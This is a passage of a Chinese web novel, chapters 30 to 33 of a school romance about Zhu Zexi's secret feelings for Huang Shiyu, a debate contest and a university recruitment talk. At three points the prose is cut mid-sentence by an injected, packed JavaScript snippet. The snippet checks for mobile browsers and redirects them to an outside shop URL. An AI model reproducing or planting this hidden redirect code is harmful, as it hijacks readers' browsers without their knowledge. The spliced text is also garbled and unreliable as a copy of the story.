“你的表情大过于朋友的暧昧” “寂寞的称谓” “甜蜜的责备” “有独一无二专属的特别” 30. 第三十次招惹 祝则溪坐在书桌前,拿出素描纸平平铺开。 亮起的手机屏幕显示,已经快十一点了。 但他不想等到第二天,他想立刻画下讨论时的黄时雨、吃意面时的黄时雨、看电影时的黄时雨以及靠在后座闭眼听歌的黄时雨。 台灯的光晕在纸面上投下一圈暖黄,铅笔的沙沙声在安静的房间里显得格外清晰。 祝则溪捏着炭笔,轻轻在素描纸上勾出轮廓。画了这么多年,她的样子早已深深刻在他的脑海里,落下的每一笔都游刃有余,像是重新走过了一遍今天的回忆。 先是她在讨论时据理力争的瞬间,眉头微微蹙起;再是她在吃意面时把刘海别到耳后,睫毛投下细碎的阴影;还有她在电影院被情节逗笑时捂嘴偷笑的小动作,在车上听音乐时微微晃动的小脑袋…… 铅笔在纸上游走,像一场无声的告白。 画到最后一笔时,他顿了顿,铅笔长时间悬在纸面上方,犹豫不决—— 最终也没有添上自己的身影。 从初一到现在的每一幅画,皆是如此。 就像现实中一样,他始终安静地站在画框之外。 祝则溪拉开第二层抽屉,把新画的画整理好,整整齐齐地放进去,成为这个暗恋大家族的新成员。 对面那位同学的窗帘紧闭,估计应该是睡了。 祝则溪的卧室采光很好,这几天差不多早上六点多就有阳光照进来,恰巧这窗帘颜色又不太合适,遮不住太阳,祝则溪总是睡着睡着就被迫挪动身子,紧紧贴住墙壁,借助衣柜的遮挡好能多睡一会儿。 没想到,这电话又不争气地响起来。 祝则溪伸手把手机从床头柜摸过来,结果上面的来电显示却是祝则溪最不愿意看到的名字——资助人。 这个“资助人”就是胡正福,祝则溪和他除了金钱往来再无瓜葛。 两个人上一次通话还是胡正福决定每个月给祝则溪打2000块钱的时候,这么多年,这个早已淡出祝则溪生活很久的男人突然来电,祝则溪有一种直觉:恐怕不是什么好事。 “喂?” 祝则溪语气冷淡得听不出情绪。 “哥,我是胡则泉。” 电话那头是清脆的少年音,只不过背景有点吵闹,直到听到对面传来护士们提醒换药的声音,祝则溪才确定是在医院。 胡则泉,胡正福和现任妻子生的儿子,比祝则溪小三岁。 祝则溪并不认为这是他弟弟,只不过每次接触时,胡则泉表现得还算有礼貌,并不讨人厌,而且祝则溪也不愿意让父母辈的事牵扯到下一辈身上,所以对于“哥哥”的这个称呼并不反对。 “你在医院?” 对面压低声音—— “对,你爸爸……”,可能意识到祝则溪和胡正福不对付,胡则泉马上改了称呼,“胡正福昨晚半夜出车祸了,刚抢救过来,现在才转移到普通病房。” “所以呢,跟我有什么关系?” 祝则溪的心情毫无波动,这个人是死是活跟他有什么关系。 自从妈妈祝栀难产去世后,胡正福就开始找续弦了,祝则溪才一岁就抛弃孩子跟着新家庭去了,要不是小姨祝桂把祝则溪带回家里养大,现在祝则溪恐怕早已是阴间一鬼。 至于每个月2000块钱的生活费,不过也是断断续续的,公司前景好时,看他没用,就不由分说地断掉;公司陷入危机时,为了保佑公司顺风顺水,又续起来,为自己的良心赎罪。 这样的人,凭什么要求祝则溪对他有感情? “可是……可是他毕竟是你爸爸,有这个血缘关系在的……” “生而不养的人也配当爸爸吗,连儿子的生死都不顾的人也配当爸爸吗,把亲生儿子当成公司发展的一枚棋子的人也配当爸爸吗,我问你,配不配?” 祝则溪并不想多说这些,他早已把胡正福当成一个定期取款的ATM机罢了,至于这台机器是否年久失修,不是他这个取款人该管的事。 电话那头隐约传来胡正福虚弱的声音,“小泉,别打了,他不会来的。” 还有胡则泉母亲的声音,“那就挂了吧,我们照顾就行。” 小泉,祝则溪自嘲地笑了,原来他会称呼人啊。 这个电话已经没有继续打下去的必要了,祝则溪果断挂断。 一个只播种不浇灌的园丁,妄图种子长大后为其遮风挡雨,哪有这样的好事? 祝则溪从床上爬起来,去浴室洗了把脸,想把刚刚经历的所有糟心事都抹去。 “说得都对”群里弹出消息,是小赵姐发了一个名叫“一辩稿”的文件。 祝则溪连忙点进去看—— 内容工工整整,逻辑清晰,把昨天归纳出来的四个论点按照由浅入深的顺序排列了出来,易于阐释。 [黄时雨:我看完了,整体蛮不错的,辛苦啦!] 随即,黄时雨又补充道—— “不过结尾可以稍微升华一下,再把立意拔高一些就更好啦!” 小赵姐发来一个“点头”的表情包,丢下一句“好的”。 今天的辩论赛将于晚上七点正式开始,还剩下最后几个小时,四个人都在家里疯狂准备,临阵磨枪,群里的消息也在不断狂轰滥炸。 杉杉姐专门提醒过大家,今晚的辩论赛要拍照,一定要穿上白下黑的衣服,于是最终出现在现场的每一位辩手,都不约而同地选择了穿班服。 这下不只是上白下黑,还是统一着装。 “祝则溪,你紧张吗?” 看到陆陆续续有观众入场,黄时雨作为富有经验的辩手都紧张起来了。 “有点,我原本以为不会有多少人来听的,没想到都快坐满了。” 黄时雨低头看了一眼时间,还有最后十分钟。 “咔嚓咔嚓,”祝则溪转头,黄时雨正跟小仓鼠一样从包里拿出脆脆鲨,弯着腰,把头埋到桌子下面偷偷吃。 祝则溪忍不住笑出声,又害怕被别人当傻子看,只好用手边的资料挡住脸,眼神柔和地看着面前这只“小仓鼠”。 黄时雨三下五除二吃完一整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“好了,今天的辩论赛到这里就圆满结束了,各位观赛的同学可以先行回到教室,八位辩手请留在座位上等待晋级名单。” 这场辩论赛是不分输赢的,杉杉姐会根据各位辩手在赛场上的临场表现,选出四位表现优异的辩手参加年级比赛。 “我觉得你肯定稳了,”小赵姐凑过来给黄时雨竖了个大拇指。 “我也觉得。” 黄时雨压低声音,“但是我想我们四个人一起晋级嘛,这样最好。” “可是我不一定,”一直沉默的祝则溪突然冒出一句。 “你一定,你表现得特别好,完全不像新手好不好!” “好了,大家都不要再讨论了,之前选人的时候我都是按照表现的优异程度从高到低选的,但是这次我发现,除了个人表现能力之外,团队配合和默契程度也很重要,所以我直接选择了某一支队伍。” 会是我们吗,黄时雨默默把双手抓到一起放在额头前,闭眼等待最终的宣判—— “我选择了反方四位,祝贺你们!” 31. 第三十一次招惹 距离正式比赛还有一周的时间。 目前辩题还没有公布,四人小群也因此沉寂了下去。 “笙笙,你帮我看看这道题呗,你上次给我讲过,但是我现在又有点不太会做了。” 黄时雨指着一道立体几何的数学题向吴笙笙求助。 “我看看啊”,吴笙笙立刻放下手里的杯子,把卷子拉过去。 黄时雨曾经问过吴笙笙,会不会觉得给别人讲题特别浪费时间,吴笙笙摇头,并说明了原因—— “既然是专门找自己问题的,就说明这个题目肯定有它的难点或独特之处,了解一下,顺便复习未尝不是一件好事嘛。” 第二节下课,教室里睡倒一片,黄时雨和吴笙笙作为为数不多的清醒之人,也不敢大声说话,害怕惊扰到此刻正在睡梦中的读书人。 “蒲杰,赵老师找你。” 小赵姐走到蒲杰面前,用力把正趴着睡觉的蒲杰拍醒,“记得快点去啊。” 蒲杰缓缓地从桌子上撑起来,活动活动胳膊和肩膀,起来整理了一下衣服,才跑出教室。 “老赵找蒲杰干嘛?” 黄时雨一脸疑惑。 “不知道,可能是有什么私事吧,”吴笙笙的眼睛一点没有从题上移开,“咱们还是先研究这道题。” “黄时雨,老赵也找你,让你现在就去。” 小赵姐喊完一个,又转头来喊另一个。 “啊?” “噢,应该是让你去拿名师大讲堂的安排表,快去吧。” 名师大讲堂是满城一中的特色活动,每年学校都会请一些已经毕业的学长学姐在礼堂进行在读大学基本情况的介绍,学科布局的讲解,并且解答现场同学们的提问,是同学们了解名校、提升动力的重要途径。 一般会持续一个星期左右的时间,同学们可以自由选择参加感兴趣的学校的讲座。 办公室的门虚掩着。 黄时雨刚走到办公室门口,就听到老赵正用他的大嗓门在教育蒲杰,黄时雨想不听到都难—— “你说你怎么能早恋呢,人家女生的父母都找到我这里来了,我是不是每学期开学都要反复强调这个问题,让你们把心思放在学习上,我是在为你的前途着想啊蒲杰,你能不能听进去?” 老赵一直在里面苦口婆心地规劝蒲杰,但蒲杰好像一直没有吭声。 黄时雨不想让蒲杰感到尴尬,只能自己一个人退到连廊上,无聊地用手指摆弄着两旁的花花草草,准备等蒲杰出来了再进去。 连廊两边种的主要是金边兰和月季花,月季花这两天正开着,一朵连着一朵,金边兰的枝叶向四面散开,像神仙的座驾一样把月季花稳稳托起。 怎么还没出来啊,黄时雨低头看了一眼手表,还有差不多十分钟就要上课了,再不进去就赶不上了。 没办法,黄时雨只好走过去敲门。 “请进!” “赵老师,你找我?” 看到黄时雨进来,蒲杰立刻站到旁边留出空间。 老赵把桌子上的安排表递给黄时雨,“黄时雨,你把这个安排表粘到教室前面的通知栏里,记得提醒同学们看啊,去吧。” “好。” 这次名师大讲堂的学校还挺多,居然有十个。 其中就有黄时雨特别向往的津南大学,讲座时间是周四下午第二节课,主讲人是满城一中校友,目前正在攻读津南大学金融专业硕士的李斯巧。 安排表刚一贴到通知栏,同学们就蜂拥而上,把黄时雨都挤得差点出不来了。 “祝则溪,你想去听哪个学校?” 刚看完安排表回到座位上的齐章年,就开始好奇地打听祝则溪的想法。 “还没想好,你呢?” 齐章年耸耸肩,“当然还是辛河大学啊,虽然我大概率考不上。” “其实我还想去听津南大学,反正都在同一天,不如一起听了算了。” 齐章年还在一旁絮絮叨叨,但是祝则溪已经没心思听了—— 好想知道黄时雨想去哪所大学。 “从明天开始,名师大讲堂系列活动就要开始了,我还是非常鼓励大家去多听几所学校,因为这些学校都是顶尖大学,不管你们最终能不能考上,至少能让你们感受到好学校是一种怎样的氛围,怎样的学习环境,这将给你们接下来辛苦的一年注入能量。” 老赵在下课前,指着告示栏里的安排表,把每一次讲座的时间又原原本本重复了一遍,才拿起周考卷子走出教室。 “笙笙,你想去听哪个学校啊?” 黄时雨收拾书包的速度一向很快,已经背着书包倚在桌子旁等吴笙笙了。 吴笙笙拿起书包,“其实我想去听一下津南大学,主要是听说这个学校的人工智能专业很强,我想了解了解。” “啊啊啊啊笙笙,我觉得你考津南大学肯定没问题,但是我就不好说了。” “高三这一年的成绩变化很大的,万事皆有可能,”吴笙笙摸了摸靠在自己肩上的黄时雨的头发,“所以你一定要有信心。” 每一位同学都像流水一样从教学楼淌出来,所到之处都是哗哗的交流声,不用说,大部分都在讨论名师大讲堂的事。 按照满城一中过往的的升学率来看,能考上这些顶尖大学的人数文理科加起来一般不超过20个,近十年考得最好的一届就是李斯巧学姐那一届,当年才读小学的黄时雨都在铺天盖地的宣传中记住了其中几位高分选手的名字。 黄爸爸把车洗得锃光瓦亮的,在路边暖黄色灯光的照耀下显得高端大气上档次。 “爸爸,我们学校又要办名师大讲堂了,明天开始。” 黄爸爸赞许地点头,“可以啊,那你们俩想去听哪个大学?” “我们俩都想去听津南大学。” “津南大学好啊,但是得努力哦,特别是——” 黄爸爸故意拖长尾音。 “哎呀,我知道啦!” 黄时雨跟吴笙笙在后排相视一笑。 从星期二开始,学校门口的公告栏每天都会贴上当天宣讲的大学和宣讲人的信息,有时碰上感兴趣的,就算吴笙笙不去,黄时雨也会抽空去听一听。 所以直到星期四下午,黄时雨已经听了三所大学的宣讲了。 “笙笙,走!” 前脚老赵刚走,后脚黄时雨就拉上吴笙笙跑出教室。 毕竟津南大学是两人最想考上的大学,一定要争取早点到,坐到前排,千万不能错过任何重要信息。 两人上气不接下气地冲到礼堂,果然,还没有几个人。 第一排要坐校领导,第二排要架拍摄机器可能会挡住后排视线,思来想去,最后两人坐到了第五排。 “这个视野不错吧,笙笙?” 吴笙笙非常满意,“太不错了,方便我一会儿举手提问。” “你想问人工智能专业方面的问题?” 吴笙笙不置可否地点点头,“对,好不容易有这样的机会肯定要抓住的。” 这一场的人数比黄时雨想象中还要多,毕竟这所大学是一所老牌院校,还是文理科兼容发展的,所以除了中间的座位,连两边的位置都坐满了,让人不得不惊叹老牌院校的无穷魅力。 但黄时雨身边的座位还是空的,每个人都往后面挤,前几排的座位好像被孤立了一样,无人问津。 “各位同学下午好,非常荣幸能回到我的母校满城一中去宣讲我的另一个母校——津南大学,我叫李斯巧,目前是津南大学金融专业的一名在读硕士研究生,很开心在这里与各位学弟学妹见面!” 李斯巧穿着一件蓝色衬衫,袖子挽到胳膊肘,下摆扎进牛仔裤里,头发扎成高马尾,戴着一副无边框眼镜,显得既干练又优雅。 她不紧不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619101|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢地打开PPT,试了一下话筒效果,轻轻抬眼扫过满场的同学,才慢慢介绍起津南大学。 原来人在长大后就会变成这种能力超群、游刃有余的样子吗,黄时雨忍不住开始期待。 当年只在宣传海报上见过的名字,今天竟然有机会见到真人,这跟追星成功有什么区别?! “笙笙,笙笙,”黄时雨戳了戳吴笙笙的胳膊,“一会儿我好想去加李斯巧学姐的微信啊,怎么会有这么漂亮又这么有能力的人啊!!!!” “什么时候?” “就……结束的时候在后台嘛,我主动点!” 主动加别人微信对黄时雨来说并不是难事。从小到大,她已经熟练掌握了一套交际法则—— 对于内向的人,要多从兴趣爱好入手; 对于外向的人,要多从身边琐事入手; 对于慢热的人,要多花时间精力; 对于冷漠的人,要直接开门见山…… 正讲到津南大学的建校历史,原本虚掩着的大门被悄悄推开了一个缝,两个小脑袋探了进来。 虽然距离有点远,但黄时雨凭借超好的视力一眼就认出是祝则溪和齐章年。 黄时雨立刻举手,和祝则溪的目光有了短暂交织。 他应该明白了吧,黄时雨心想。 她居然也在听津南大学的宣讲,祝则溪心里闪过一丝不易察觉的欣喜。 门口两人弓着身子往观众席走,生怕因为自己迟到而影响到别人。 黄时雨目视着祝则溪和齐章年钻到自己身边的座位上坐下。 “怎么迟到了啊你们?” 祝则溪坐下稍微喘了口气,“因为老刘拖堂,一直讲到这节课上课才走,我们还是一路跑过来的。” “前面讲了什么内容啊?” 黄时雨把自己记的笔记给祝则溪看,“没讲什么,就讲了学校的整体情况,学科建设这些。” 祝则溪边听边说,“所以你想考这个学校?” 黄时雨无奈地苦笑,“想考是想考,但是我的成绩还差很多呢。” “我觉得你一定可以!” 祝则溪的回答很坚定,像是从黄时雨的未来穿越回来的一样。 “你怎么知道?” “因为你在红布条上写下了这个愿望啊,我想神明也会助你一臂之力!” 李斯巧学姐讲得很详细,基本上每个学院都有涉及,台上是宣讲的声音,台下是记笔记的声音,两种声音交相辉映,是宣讲者和同学们的另一种相逢。 “好了,以上就是我的全部介绍,关于津南大学,同学们还有什么想知道的吗,现在可以举手,我们的工作人员会将话筒递给你。” 吴笙笙全场第一个举手。 “来,这位同学!” 吴笙笙从工作人员手中接过话筒,“学姐您好,我对津南大学的人工智能专业很感兴趣,想知道大概多少分才能考上,谢谢学姐。” 李斯巧把PPT翻到历年录取分数这一页,指着折线图说,“按照近五年的录取分数来看,学校的调档线大概是630分左右,但是由于人工智能专业是津南大学的王牌,所以至少要在这个分数上涨20分才有可能。” “那这个专业有直博名额吗?” 吴笙笙话音刚落,会场内就传来小小的骚动,不少同学在好奇“直博”是一个什么概念。 要不是吴笙笙之前跟黄时雨聊过自己未来的打算,黄时雨现在肯定也是两眼一抹黑。 李斯巧的声音顿了顿,眼神里流露出惊喜的神色。 她大概也很惊讶,一个普通的高二女生,居然会对未来有如此清晰的规划。 “有,每年都有,不过具体人数我不是很清楚,非常抱歉。” 吴笙笙连忙摇头,“没有没有,谢谢学姐解答。” 李斯巧也微微颔首,“还有其他同学提问吗?” 32. 第三十二次招惹 “谢谢大家的聆听,希望明年九月,我们能在津南大学的校园里再次相遇!” 李斯巧站到讲台下面,朝同学们深深鞠躬。 学术报告厅里爆发出一阵由衷的掌声,经久不息。 黄时雨一边鼓掌一边想,像李斯巧学姐这样优秀的人,大概走到哪里都是很受欢迎的存在吧。 黄时雨快速合上本子,把笔插到书页上,“笙笙,快走,时间不等人!” “去哪儿?” 齐章年好奇地问道。 “她想去要李斯巧学姐的微信。” 来不及解释这么多了,黄时雨牵起吴笙笙的手就沿着阶梯往讲台上走。 学校举行名师大讲堂这几天,黄时雨特意向黄妍女士申请了手机使用权,可以把手机带到学校里,为的就是可以勇敢出击,和优秀的学长学姐建立联系。 李斯巧正在讲台侧面跟学校领导交流,目前看起来还没有要走的意思。 趁着几位领导们聊天的空隙,黄时雨不再犹豫,直接开门见山地表明了自己的来意—— “学姐您好,我叫黄时雨,能不能有幸加上你的微信啊,我特别想报考津南大学,希望能跟你多交流交流。” 李斯巧几乎没有犹豫,非常爽快地从包里拿出手机,亮出二维码,“当然可以,你扫我吧!” 黄时雨的扫码界面早就打开了,她举起手机靠近,“滴”的一声就显示出了李斯巧的微信界面。 “好了,谢谢学姐!” 黄时雨激动得像过年吃到糖果的小朋友,在原地激动地挥动双臂捶了几下空气。 “斯巧,走吗?” 黄时雨抬头,一个穿着短款牛仔外套,黑色直筒裤的男生从外面走进来。他背着一个女士编织小包,手里拿着遮阳伞和白色水杯,径直走到李斯巧身边才停下。 这个男生有点内双,眼尾微微上扬,看起来显得精明又有些勾人的意味,明显的卧蚕又给这双眼睛增添了不少温柔的色彩,嘴唇颜色比较红润,符合网上说的“靠谱男人”的评判标准。 黄时雨不知道怎么想的,看到李斯巧接过男生手中的水杯时,忍不住脱口而出—— “学姐,你们好般配啊,真的!” 李斯巧微微一愣,转头和男生相视一笑,然后朝黄时雨点点头,“谢谢你哦。” 刚走出学术报告厅,李斯巧就通过了黄时雨的微信好友申请。 加上一个人的微信,对于黄时雨来说的头等大事,就是去围观人家的朋友圈。 没想到李斯巧还挺爱发朋友圈的,各种自拍、美食、风景图都有,大部分还是plog形式,边框、花字、表情包都熟练运用,跟网上那些美女博主做得不差上下。 黄时雨把吴笙笙也拉过来,两人小脑袋凑在一起欣赏李斯巧的“人类高质量朋友圈”。 “笙笙,你说我以后能成为李斯巧学姐这样的人嘛,把方方面面都经营得很好,当一个全能型美女?” 吴笙笙偏过头把黄时雨上下打量了一番,摇摇头—— “不能。” “?” 吴笙笙预感到自己可能要遭打,立刻松开黄时雨的胳膊往前跑,“因为你不是走优雅路线的!” “吴笙笙,你站住!” 黄时雨在后面疯狂追赶。 一路追到教室门口,黄时雨才终于拽住了吴笙笙的衣领。 “黄时雨,快过来!” 黄时雨抬头,小赵姐正焦急地勾着手指呼唤她,像是有什么大事。 小赵姐坐在教室最里面的倒数第二排,黄时雨迈过好几个横在路中间的大箱子,才千辛万苦地抵达。 还没等黄时雨发问,小赵姐就忍不住脱口而出,“出辩题了!” “是什么?” 黄时雨凑过去看小赵姐桌子上摆着的文件。 “这个,”小赵姐指着辩题和对手,“辩题为是/否应该以成败论英雄,对手是高二四班、五班代表队,我抽到的是反方。” 按照表格上的安排,还有整整五天时间,可以充分准备。 “行,我知道了,”黄时雨点点头,“一会儿吃完饭回来可以先简单讨论一会儿。” 下午放学,黄时雨没有跟吴笙笙去食堂吃饭,而是跟小赵姐一起去小超市买了一些零食,参加辩论的四人在活动室一起讨论五天后的正式比赛。 排兵布阵跟上一次保持不变,四个人一边吃一边阐述各自的观点,在距离上课仅剩十分钟的时候,终于完成了破题,得到了三个相对独立的分论点。 “来!” 黄时雨主动伸出手,手背朝上放在中间。 紧接着祝则溪的手轻轻放上来。 熊毅丰和小赵姐的手也放上来。 “三、二、一,加油!” 对于高三学生来说,只剩最后一个半月的冲刺时间了。黄时雨每次经过小花园,都能听到教室里的老师在苦口婆心地打鸡血,要么是用以前教过的学生来当例子,要么是邀请同学们齐声诵读或宣誓,反正不管哪一种,都是通往高考成功的必修课,也是高中生活里最鲜亮的散文诗。 “学姐,我能问你一个问题吗?” 自从加上李斯巧,除了打招呼外,两人还没正式交流过。 明天正好是周六,不用早起,黄时雨就想着能否借此机会交流交流。 “可以呀,我现在有空,”对面很快传来了答复。 既然有这么好的资源摆在面前,黄时雨就想着能不能向前辈取取经,问问关于大学和专业志愿的选择问题。 “学姐,你当初是怎么确定大学选什么专业的?” 黄时雨的兴趣爱好很广泛,大多源自于小学时期妈妈给报的兴趣班。不管自己内心是否真的喜欢,黄时雨都坚持学了下来,虽然不敢说精通,但好歹也算一门特长。 也许在外人看来,黄时雨多才多艺,似乎能“条条大路通罗马”,但对于黄时雨本人来说,她还真不知道自己究竟喜欢什么,想学什么。 截至目前,黄时雨的人生都是按部就班在进行的,读完小学读初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619102|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中,读完初中读高中,几乎没有经历任何主动选择的机会。 前两天听到吴笙笙明确表示自己想学人工智能,黄时雨也感觉是时候考虑一下关于大学专业的规划了。 “是这样,我本科就是学金融的,是因为我本身数学很好,跟数字打交道很擅长,同时,我还在高中时看过一点点大学的金融教材,虽然看不大懂,但是至少能感觉到我对这个感兴趣,是愿意花时间和精力去学的,所以最后就选择了这个专业。” “你呢,你有没有什么大体感兴趣的方向?” 感兴趣的方向? 黄时雨仔细回想了一下。 自己似乎很擅长跟别人打交道,不管跟谁都能很快玩到一起,同时也很喜欢观察别人,了解别人的想法和追求,特别是当某些情况跟自己原本理解的不一样的时候,黄时雨就特别愿意深入思考,并会在心里反复问自己,为什么会这样,为什么会有不同。 黄时雨把这些情况如实告诉了李斯巧。 大概隔了接近十分钟,对面才发来新消息—— “我觉得,你可能会愿意学人文社科方向的专业,比如政治学、哲学、社会学、语言学之类的,因为你愿意思考,而且对这个社会的运行规则有所好奇,所以应该会很适合。” 人文社科类专业,黄时雨用浏览器搜索了一下。 果然,跳出来一个详细介绍页面。 里面说人文社科类专业是人文科学与社会科学的统称,细分方向涵盖语言、法律、教育、新闻传播等领域,主要聚焦于社会运行规律。 “哦好的,谢谢学姐,那我再多多了解一下这方面的内容。” 回完微信,黄时雨又继续搜索,大致了解了各个方向的主要研究内容,把其中重要的部分抄到了一张A4纸上,然后叠好放在了抽屉里。 人文社科…… 黄时雨翻了个身,把脸埋在枕头里,又猛地仰起来。她盯着天花板看了很久,直到怀里的小熊玩偶不小心掉下床,才突然从这场思考中抽离出来,趴到床边伸手去捡。 原来了解到自己未来的方向,会让人既兴奋又害怕,窗外的月光悄无声息漏进来,好像给夜晚编织了一场梦。 人的行为…… 社会的运行规则…… 是有人制定了高中生谈恋爱算早恋的规则吗? 是有人给有些父母灌输了重男轻女的思想吗? 又是有人让人们习惯于把学习成绩当成评判一个人的标准吗? 黄时雨没学过任何理论,只是按照手机上搜到的内容,把这些“常识”在脑海里浅浅过了一遍。 所有这些让现在的黄时雨想不明白的问题,也许就是社会潜在的运行规则,它们从横向和纵向两个维度,把生活在现实社会中的人们当作提线木偶一样摆弄,但人们往往意识不到这一点,这些外在因素就在日复一日的运作中被内化为自身思想,从而一代一代传承下去。 这个暑假,我也来找一本社会学方向的书读一读吧,黄时雨在心里暗下决心。 33. 第三十三次招惹 活动室内,比赛双方相向而坐,每个人面前都是厚厚的资料、主办方提前准备好的矿泉水和辩手牌。 前面白板上写的是本场辩题和参赛队伍,杉杉姐弯着腰,还在做最后的设备调试。 第一排三个评委依次落座,每个人都西装革履,头发梳得板板正正,一脸严肃地看着手里的打分表,又轻轻抬头,目光平静地扫过场上的每一位选手。 活动室里挤满了人,还有好多同学是自己搬了教室的椅子过来的,正方观众坐在左边,反方观众坐在右边,全部都挤在一起对着场上的几位辩手指指点点,也许是来观战的,也许只是来逃避学习的,谁都说不准。 正式比赛的现场就是不一样。 经过了好几个夜晚的鏖战,反方四名选手已经尽可能把能想到的内容都整理出来了,不管是立论、推论还是结论都做成了一条完整的推理链,所以每个人面前都是一大叠资料纸,这既是这几天熬夜奋战的见证,也是反方选手们自信的根本源泉。 距离开始还有不到五分钟,黄时雨闭上眼睛,把所有的论点又完完整整在脑海里过了一遍,以防万一。 白板上的倒计时声急促地响起,台下观众叽叽喳喳的说话声顿时烟消云散。 “各位同学晚上好,我是本场辩论赛的主席——陈杉,今天的辩题为是/否应该以成败论英雄,正方是来自高二四班、五班的同学,反方是来自高二一、二、三班的同学,大家掌声欢迎。” 教室里的掌声此起彼伏。 原来不止场上的选手在较劲,场下的观众们也在暗暗较劲。 简单的自我介绍之后,辩论赛正式拉开序幕。 正方准备也很充足,除了被反方四人提前预测到的论点外,还提出了新的观点,四个人不约而同地从抬头聆听变成低头记录。 没有提前准备好的资料,只能靠临场发挥和整合了。 黄时雨顿时感觉压力山大。 整场比赛,除了轮到自己的环节,在自由辩过程中黄时雨几乎没有参与,她一直忙着记录对方辩手的观点和破绽,笔都快在纸上划出火星子了。 “接下来是反方的总结陈词时间,有请!” 黄时雨终于停下笔,深吸一口气站起来。 她微微鞠躬,脸上又恢复成沉着而冷静的表情—— “谢谢主席,各位同学,我方认为不应以成败论英雄。首先,成败是哪方面的成败,英雄又是哪方面的英雄,这不一定是同一判断维度下得出的结论;退一步讲,就算真的是在同一维度下,成功和失败在一个人的生命中都是相互交织的,那这样来看,世界上就没有真正的英雄,也没有真正的成败,这个辩题也就无从谈起……” “以上,就是我的全部总结陈词,谢谢大家!” 教室里的沉默在黄时雨的发言结束后还持续了两秒钟,继而被排山倒海的掌声和尖叫声取代。 “稳了!” “赢定了!” “黄时雨太强了!” 这些赞不绝口的声音从四面八方传到黄时雨耳朵里,黄时雨颤抖的嘴角都快压不住了。 看反响应该还不错,提心吊胆了好几天的黄时雨总算松了一口气。 面前的三位评委正在互相表明观点,他们每次抬头看一眼黄时雨,黄时雨的心都会狠狠揪一下。 “你们觉得我们能赢吗?” “不好说,正方也表现得很好,”熊毅丰的手紧张得抠着桌子边缘,“反正随缘吧。” “没事,我觉得应该能赢!” 祝则溪的眼神里闪烁出笃定的光。 “为什么?” 黄时雨感到疑惑,这祝则溪什么时候变得这么有信心了? “因为……你不就想听到这个回答嘛。” 黄时雨顿时被噎住,又好气又好笑地打了几下祝则溪的肩膀,“一会儿要是没赢,你得赔我心情跌宕起伏费!” 评委们把打分表汇总后交给杉杉姐,这就意味着最终结果即将揭晓! 整个活动室静得可怕。 “这次的结果,可以说在我的意料之中,获胜方和最佳辩手在同一个持方。” 同一个持方,那就意味着一赢俱赢,一输俱输。 “本场辩论赛的获胜方是——反方,最佳辩手是反方四辩——黄时雨,恭喜你们!” “耶!” 一、二、三班的所有同学都兴奋地跳起来,掌声、尖叫声、呐喊声不绝于耳,音量大到像是要掀翻屋顶,窗外的夜色也好像被青春的躁动吹开,风吹过每个人脸颊的时候,像是带来了天空的祝贺信。 一次获胜,一次最佳辩手,黄时雨高中时代的辩论生涯在此刻终于画上了一个圆满的句号。 不对,准确来说,是圆满的感叹号! 观众们得知结果后很快离场,各位辩手还得留下来把教室复原,比如把桌椅归位,打扫清洁,整理讲台等。 黄时雨被分配到了扫地的工作,祝则溪被分配到了擦桌子的工作。 “黄时雨,这个送给你,就当是庆祝你获得最佳辩手!” 黄时雨刚准备走出教室去走廊上拿拖把,就被祝则溪叫住。 他从背后拿出一束栀子花。整个花束不大,层层叠叠的花瓣铺展如绢,中心簇拥着金丝般的花蕊,边缘逐渐开始泛起象牙黄的倦意,却愈发显得花心处的雪白的清艳逼人。花束中散发出的香气沉甸甸的,瞬间铺满两人之间的所有空间。 花束最外圈的包装纸整整齐齐,双层粉色纸错落有致,最下面还系着两条蝴蝶结,剪裁看起来有点新手,但两条不同颜色的丝带系在一起又显得特别和谐,很像祝则溪自己的小巧思。 黄时雨一瞬间愣住了,眼睛就没从栀子花上移开过,嘴里不自觉吐出几个字,“好好看啊。” 祝则溪笑着把花塞到黄时雨怀里,“你拿着比较好看。” 黄时雨伸手轻轻摸了摸栀子花的花瓣,香气愈发浓郁,“谢谢你,祝则溪,”随即顿了顿,又补充道—— “可是,如果我们今天输了呢,你怎么送啊?” “那……我就再编一个理由送给你。” 祝则溪轻轻勾起嘴角,眼神热烈而真诚地望着眼前这位抱着栀子花的少女。 黄时雨让这束栀子花轻轻靠在椅背上,又伸手将翘起来的包装纸压平整后才走出教室。 门口正有一个男生靠着没走,像是在等人。 黄时雨不认识他,估计是四班或者五班的同学,也没有多留意,准备从旁边绕过去。 “同学你好,能不能加一下你的微信啊?” 看到黄时雨出来,男生立刻站直,手里握着的手机攥得更紧。 黄时雨抬头打量了一下面前这个男生,他的眉毛比较淡,眼尾是往下垂的,嘴唇也偏厚,从面相上看还算和善。 而且说话也挺有礼貌的,黄时雨也没多想,便点头答应了。 “行,不过我没带手机来学校,我把我的微信号说给你吧。” 男生兴奋地点头,把手机递过去,“好的,那你自己输吧,你好漂亮也好厉害啊!” 黄时雨快速点击搜索,直到确认出现了自己的微信页面,才把手机还给男生。 “谢谢,我去打扫卫生了。” “好,那我先走了。” 男生也没有继续打扰,转身下楼走了。 